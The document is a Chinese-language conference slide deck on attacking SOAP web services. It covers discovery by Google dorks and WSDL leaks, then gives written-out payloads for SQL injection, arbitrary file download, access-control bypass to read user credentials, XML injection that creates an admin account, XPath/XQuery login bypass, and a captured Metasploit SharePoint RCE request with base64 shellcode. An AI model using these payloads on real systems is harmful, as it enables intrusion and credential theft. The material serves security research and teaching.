SlideShare a Scribd company logo
About Me:

From:
        知道创宇安全研究团队
               www.Knownsec.com
          1,Web安全研究
          2,核心产品研发


        FreeBuf核心成员
                  www.FreebuF.com
                 ---国内外实时安全资源资讯聚合
他们在使用Web服务:
多种多样的Web服务:
1,提供IP地址来源查询接口   2,QQ在线状态查询接口
多种多样的Web服务:
3,验证码生成接口
内容概要:


 1,什么是Web服务


 2, 发现Web服务及信息搜集

 3,Web服务弱点及攻击手法
什么是Web服务:


            UDDI



            Web
    XML     服务
                   WSDL




            SOAP

                          Go
什么是Web服务:                 WSDL文件解析

<service>标签中提供了当前Web服务的名称,Web服务所在位置:

<wsdl:service name="newsserver">
<wsdl:port name="newsserverSoap" binding="tns:newss
erverSoap">
<soap:address location="http://www.pwnit.com/newsse
rver.asmx"/>
</wsdl:port>
……
</wsdl:service>
什么是Web服务:
<portType>标签中提供了当前所有调用接口名称及调用方法的类型:


 <wsdl:portType name="newsserverSoap">
 <wsdl:operation name="Gethuodong">
 <wsdl:input message="tns:GethuodongSoapIn"/>
 <wsdl:output message="tns:GethuodongSoapOut"/>
 </wsdl:operation>
 </wsdl:portType>
<types>标签中提供当前所有接口的参数及返回值的名称与类型信息


 <wsdl:types>
 <s:schema targetNamespace="http://tempuri.org/">
 <s:element name="Gethuodong">
 <s:complexType><s:sequence>
 <s:element name="title" type="s:string"/>
 </s:sequence></s:complexType></s:element>
 <s:element name="GethuodongResponse">
 <s:complexType><s:sequence>
 <s:element name="GethuodongResult" type="s:string"/>
 </s:sequence></s:complexType></s:element>
 </s:schema>
 </wsdl:types>
                                                        Back
什么是Web服务:
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"xmlns:fow
="Features.Of.WebService">
 <soapenv:Header/>
 <soapenv:Body>
   <fow:Characteristic>
     <fow:Features>
        1,松耦合
        2,语言无关
        3,独立于平台
        4,跨越企业与互联网
        </fow:Features>
   </scor:Characteristic>
 </soapenv:Body>
</soapenv:Envelope>
发现Webservice:
Web服务一般是对外公开的,所以不难找到它们

1,Google Hack:
     filetype:asmx inurl:wsdl
     filetype:wsdl inurl:asmx index of "wsdl“

2,UDDI注册中心查询:
    Microsoft,IBM,SAP
    提供的UDDI服务已经全部停止
    公共Web service查询网站:
    http://webservices.seekda.com/

3,Xmethods(一些公开的Web服务):
     http://www.xmethods.net/ve2/index.po
Google Hack查询结果:
Seekda中查询Amazon提供的Web服务:
Xmethods中的第三方Web服务列表:
Web服务信息搜集:

  1,WSDL,DISCO文件信息泄露:
           payCheck.asmx?wsdl
           payCheck.asmx/wsdl
           payCheck.asmx?disco

           Oh man,are u
           kidding me?




              Yeah baby,that’s
                 enough.
国内某游戏厂商在线支付平台Web服务:




       WSDL文件信息泄露
DISCO文件信息泄露:




1,WSDL中的信息一般是无害的,但也会导致大量业务逻辑被
暴露出来。

2,没有什么比WSDL和DISCO文件泄露的信息再多了,通过它
们你几乎可以了解该Web服务的全部细节,可是XML文件看上去
很难直观的展示出Web服务的相关信息。So,do it ur self.
Python脚本遍历WSDL文件:
公开的Web Service测试工具:




       .Net WebService Studio
Foundstone出品WSDigger:




        提供了简单的漏洞Fuzzing功能
WSDigger生成的报告:
Fuzzing工具WS-Attacker:枚举Web服务接口信息,
                 SOAP请求测试,Web服务Fuzzing
商业版自动化Web服务测试神器SoapUI:
针对Web服务安全问题自动化Fuzzing过程:
攻击Web服务及测试案例
Web服务安全概述:

1,Web服务依赖于XML格式化语言和SOAP协议,由于之前所讲的一
些特性,这些技术正在变得越来越流行,广泛的被各大企业厂商应用到
实际服务中。但很少有相关人员意识到Web服务会带来的严重安全问题,
攻击者通过实施Web服务攻击可以直接渗透到相关服务的核心部分,造
成巨大的损失。

2,目前针对Web服务攻击的防护可以说是安全防御的一个盲区,如
WAF,IDS等防护产品。而由于Web服务的开放性和灵活度非常高,所
以已有的一些Web服务防御措施效果也并不明显。

3,访问权限控制是目前Web服务的主要防御和控制措施,一个Web服
务接口如果权限设置不当,相关的高权限接口直接暴露在外,被恶意利
用就会产生严重的后果。
一般Web Service渗透测试步骤:


发现Web服务(UDDI,Web服务查询网站,GoogleHack)



   针对Web服务请求WSDL,DISCO文件。



     针对每个接口人工或自动化Fuzzing进行安全测试



      If ur lucky,u can pwn it!
Error-Based Sql Injection:   国内某旅游网

1,正常SOAP请求及响应信息:




2,请求 北京’:
                                 典型的报错注入点
请求北京 ‘and 1=@@version or ‘1‘=‘1:


                                        爆出当前
                                        MSSQL信息



请求北京 ‘and 1=user or ‘1’=‘1:                 还是DBO




 关联案例:WooYun-2011-01860(Jannock,某商城SQL注入)
服务器信息泄露:                    国内某软件厂商

  一些私有的Web服务接口,没有做好访问权限设置导致接口完
  全暴露在外,可以被任何人调用,从而被攻击者利用获取一些
  敏感信息,以便进一步进行渗透。



向一个私有接口发起请求:




  直接获取服务器数据库连接信息

关联案例:wooyun-2010-04665(巭,北辰国旅/海涛假期服务器高危漏洞)
任意文件下载:

一个GetFile接口,没有对特殊字符进行过滤和限制可以导
致任意文件下载:1,发送空参数请求 暴出网站绝对路径:




2,请求目标网站的Web.config配置文件:
成功获取到了经过Base64编码后的文件内容:


           Base64解码后的配置文件文件内容:
任意用户资料查看:             国内某SNS交友社区

获取用户接口GetUser未做权限访问控制,
任何人可以调用该接口查看任意用户信息。
注册一个帐号,
使用自己的ID调用GetUser接口:




个人账户信息一览无余
更换用户ID发送请求:

                                  可以查看到其他用户
                                   的账密信息




由于目标网站用户ID可预测,因此通过此漏洞,
该站上百万的用户账密资料可以被攻击者轻易获取。

关联案例: wooyun-2010-01209(Jannock, 39健康网多处越权漏洞)
XML Injection:

当使用XML存储一些敏感数据或使用XML格式化数据
时,一些Web服务接口没有对用户的输入进行转义,导
致攻击者可以插入任意XML标签,进行越权访问或恶意
操作。
发现XML Injection:
  1,在SOAP消息中,使用标签作为参数,如:</xmli>会导致报错。
  2,使用一对标签作为参数,如<xmli></xmli>,观察报错是否消失。
测试Xml文件中的用户信息:
   ID=0为管理员权限
   ID=500为普通用户权限

通过XML Injection
我们注入一个具有管理员权限的用户
注入XML标签之后的userdb.xml文件内容:




使用注入的帐号登录成功,
得到管理员权限:




上面针对的是使用XML格式
化数据进行的XML注入,同
时我们还可以发送以下请求
针对SOAP请求本身进行
XML注入:
XPath&XQuery Injection:

1,XPath: XPath是一门在 XML 文档中查找信息的语言,通过元素和属性进
行导航。

2,XQuery:建立在XPath的基础上,比XPath更加灵活,同样用于在XML文档
中查询信息。已经被现在主流的RDBMS所支持,如Oracle, DB2,
SQLServer。

3,与SQL语言不同的是,XML或者XPath,XQuery 内部没有任何访问权限
的控制,如果可以控制XPath语句,就能从XML文件中查询任何信息。

4,SOAP基于xmlrpc,但比其更加复杂和强大,因为使用了rpc远程过程调
用,信息均以数据流传输,因此针对Web服务的攻击可以无视php魔术引
号等一些PHP配置文件中的安全限制措施
使用不存在的用户invalid/invalid登录:




使用用户名:invalid’ or ‘1’=‘1 密码:invalid’ or ‘1’=‘1登录。
$match_user = $xml->xpath("//User[Username=‘invalid’ and
Password=‘invalid’]");
$match_user = $xml->xpath("//User[Username=‘invalid’ or ‘1’=‘1’ and
Password=‘invalid’ or ‘1’=‘1’]");
                                                   登录成功,
                                                   具备管理员权限
Xquery注入与Xpath十分相似:
doc(userdb.xml)//User[Username=‘invalid’ and Password=‘invalid’]
doc(userdb.xml)//User[Username=‘invalid’ or ‘1’=‘1’ and
Password=‘invalid’ or ‘1’=‘1]

                   只需要额外指明xml文件

XQuery中的一些新特性:
1,contains函数:
doc(userdb.xml)//User[contains(Username,‘invalid’) and
contains(Password=‘invalid’)]
doc(userdb.xml)//User[contains(Username,‘invalid’) or contains(.,’*’)
and contains(Password=‘invalid’) or contains(.,’*’)]
2, position函数:
doc(userdb.xml)//User[contains(Username,‘invalid’) or
contains(Username,’root’) and contains(Password=‘’) or contains(.,’*’)
and position() <=2]
//语句可以绕过验证,并返回root信息,position()指明查询范围为前两
个结点
(MS10-104)
SharePoint Server Arbitrary File Upload RCE
SharePoint Server是一个服务器功能集成套件,提供全面的内容管理
和企业搜索。该套件中提供了一个用于文档格式转换的Web服务,攻
击者通过向ConvertFile接口发送畸形的SOAP请求来上传恶意文件并
执行任意代码。影响版本:SharePoint 2007 sp2
开启文档转换服务的SharePoint:




服务监听在8082端口:
利用MSF执行Payload成功,获得一个Meterpreter session:




通过WireShark截获的Metasploit向SharePoint服务器发送的数据包:
<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-
ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>                   请求的接口
<i2:ConvertFile id=“ref-1”
xmlns:i2="http://schemas.microsoft.com/clr/nsassem/Microsoft.HtmlTrans.IDocumentConv
ersionsLauncher/Microsoft.HtmlTrans.Interface">
                                                                  Web服务地址
<launcherUri id="ref-3">http://192.168.80.141:8082/HtmlTrLauncher</launcherUri>
<appExe id="ref-4"></appExe>
<convertFrom id="ref-
                                                               生成的Payload路
5">..............WINDOWSsystem32IIMKbknocxSsQ.exe</convertFrom>
<convertTo id="ref-6">html</convertTo>                         径及名称
<fileBits href="#ref-7"/>
…….
                                                        Base64编码后的
</i2:ConvertFile>
<SOAP-ENC:Array id=“ref-7” xsi:type=“SOAP-              ShellCode
ENC:base64”>TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncm
FtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACTOPDW11mehddZn
oXXWZ6FrEWShdNZnoVURZCF3lmehbhGlIXcWZ6FuEaahdRZnoXXWZ+FHlmehVRRw4XfW
Z6Fg3quhf9ZnoUQX5iF1lmehVJpY2jXWZ6F….
我们的成果分享及交流途径



 通过官方博客:http://blog.knownsec.com/

 通过官方微博: @知道创宇
@Pnig0s
 To:M

More Related Content

Similar to [xKungFoo2012]Web Service Hack

黑站騎士
黑站騎士黑站騎士
黑站騎士
openblue
 
安博士Asec 2010年7月安全报告
安博士Asec 2010年7月安全报告安博士Asec 2010年7月安全报告
安博士Asec 2010年7月安全报告ahnlabchina
 
從SOA到REST -- Web Service、WCF、WebAPI的應用情境
從SOA到REST -- Web Service、WCF、WebAPI的應用情境從SOA到REST -- Web Service、WCF、WebAPI的應用情境
從SOA到REST -- Web Service、WCF、WebAPI的應用情境
MIS2000 Lab.
 
安博士Asec 2010年3月安全报告
安博士Asec 2010年3月安全报告安博士Asec 2010年3月安全报告
安博士Asec 2010年3月安全报告ahnlabchina
 
企业安全应急响应与渗透反击V0.04(程冲)
企业安全应急响应与渗透反击V0.04(程冲)企业安全应急响应与渗透反击V0.04(程冲)
企业安全应急响应与渗透反击V0.04(程冲)WASecurity
 
利用Signalr打造即時通訊@Tech day geek
利用Signalr打造即時通訊@Tech day geek利用Signalr打造即時通訊@Tech day geek
利用Signalr打造即時通訊@Tech day geek
Johnson Gau
 
非常靠谱 Html 5
非常靠谱 Html 5 非常靠谱 Html 5
非常靠谱 Html 5 Tony Deng
 
Internet System Security Overview
Internet System Security OverviewInternet System Security Overview
Internet System Security Overview
ChinaNetCloud
 
Clientside attack using HoneyClient Technology
Clientside attack using HoneyClient TechnologyClientside attack using HoneyClient Technology
Clientside attack using HoneyClient Technology
Julia Yu-Chin Cheng
 
Axis1.4 开发指南 V1.0
Axis1.4 开发指南 V1.0Axis1.4 开发指南 V1.0
Axis1.4 开发指南 V1.0yiditushe
 
OWASPTop10ProactiveControls2016-Chinese
OWASPTop10ProactiveControls2016-ChineseOWASPTop10ProactiveControls2016-Chinese
OWASPTop10ProactiveControls2016-ChineseTony Hsu
 
淘宝开放产品前端实践
淘宝开放产品前端实践淘宝开放产品前端实践
淘宝开放产品前端实践taobao.com
 
深入研究 Windows 系統服務 效能調校與故障排除
深入研究 Windows 系統服務    效能調校與故障排除深入研究 Windows 系統服務    效能調校與故障排除
深入研究 Windows 系統服務 效能調校與故障排除5045033
 
HITCON GIRLS: Android 滲透測試介紹 (Elven Liu)
HITCON GIRLS: Android 滲透測試介紹 (Elven Liu)HITCON GIRLS: Android 滲透測試介紹 (Elven Liu)
HITCON GIRLS: Android 滲透測試介紹 (Elven Liu)
HITCON GIRLS
 
安博士Asec 2010年4月安全报告
安博士Asec 2010年4月安全报告安博士Asec 2010年4月安全报告
安博士Asec 2010年4月安全报告ahnlabchina
 
透過 Windows Azure Mobile Services 開發各平台 Apps
透過 Windows Azure Mobile Services 開發各平台 Apps透過 Windows Azure Mobile Services 開發各平台 Apps
透過 Windows Azure Mobile Services 開發各平台 Apps
Eric ShangKuan
 

Similar to [xKungFoo2012]Web Service Hack (20)

黑站騎士
黑站騎士黑站騎士
黑站騎士
 
安博士Asec 2010年7月安全报告
安博士Asec 2010年7月安全报告安博士Asec 2010年7月安全报告
安博士Asec 2010年7月安全报告
 
從SOA到REST -- Web Service、WCF、WebAPI的應用情境
從SOA到REST -- Web Service、WCF、WebAPI的應用情境從SOA到REST -- Web Service、WCF、WebAPI的應用情境
從SOA到REST -- Web Service、WCF、WebAPI的應用情境
 
安博士Asec 2010年3月安全报告
安博士Asec 2010年3月安全报告安博士Asec 2010年3月安全报告
安博士Asec 2010年3月安全报告
 
企业安全应急响应与渗透反击V0.04(程冲)
企业安全应急响应与渗透反击V0.04(程冲)企业安全应急响应与渗透反击V0.04(程冲)
企业安全应急响应与渗透反击V0.04(程冲)
 
利用Signalr打造即時通訊@Tech day geek
利用Signalr打造即時通訊@Tech day geek利用Signalr打造即時通訊@Tech day geek
利用Signalr打造即時通訊@Tech day geek
 
非常靠谱 Html 5
非常靠谱 Html 5 非常靠谱 Html 5
非常靠谱 Html 5
 
Internet System Security Overview
Internet System Security OverviewInternet System Security Overview
Internet System Security Overview
 
Intro to rest
Intro to restIntro to rest
Intro to rest
 
Intro to REST
Intro to RESTIntro to REST
Intro to REST
 
Clientside attack using HoneyClient Technology
Clientside attack using HoneyClient TechnologyClientside attack using HoneyClient Technology
Clientside attack using HoneyClient Technology
 
Axis1.4 开发指南 V1.0
Axis1.4 开发指南 V1.0Axis1.4 开发指南 V1.0
Axis1.4 开发指南 V1.0
 
OWASPTop10ProactiveControls2016-Chinese
OWASPTop10ProactiveControls2016-ChineseOWASPTop10ProactiveControls2016-Chinese
OWASPTop10ProactiveControls2016-Chinese
 
淘宝开放产品前端实践
淘宝开放产品前端实践淘宝开放产品前端实践
淘宝开放产品前端实践
 
深入研究 Windows 系統服務 效能調校與故障排除
深入研究 Windows 系統服務    效能調校與故障排除深入研究 Windows 系統服務    效能調校與故障排除
深入研究 Windows 系統服務 效能調校與故障排除
 
HITCON GIRLS: Android 滲透測試介紹 (Elven Liu)
HITCON GIRLS: Android 滲透測試介紹 (Elven Liu)HITCON GIRLS: Android 滲透測試介紹 (Elven Liu)
HITCON GIRLS: Android 滲透測試介紹 (Elven Liu)
 
安博士Asec 2010年4月安全报告
安博士Asec 2010年4月安全报告安博士Asec 2010年4月安全报告
安博士Asec 2010年4月安全报告
 
透過 Windows Azure Mobile Services 開發各平台 Apps
透過 Windows Azure Mobile Services 開發各平台 Apps透過 Windows Azure Mobile Services 開發各平台 Apps
透過 Windows Azure Mobile Services 開發各平台 Apps
 
Webservice
WebserviceWebservice
Webservice
 
Webservice
WebserviceWebservice
Webservice
 

[xKungFoo2012]Web Service Hack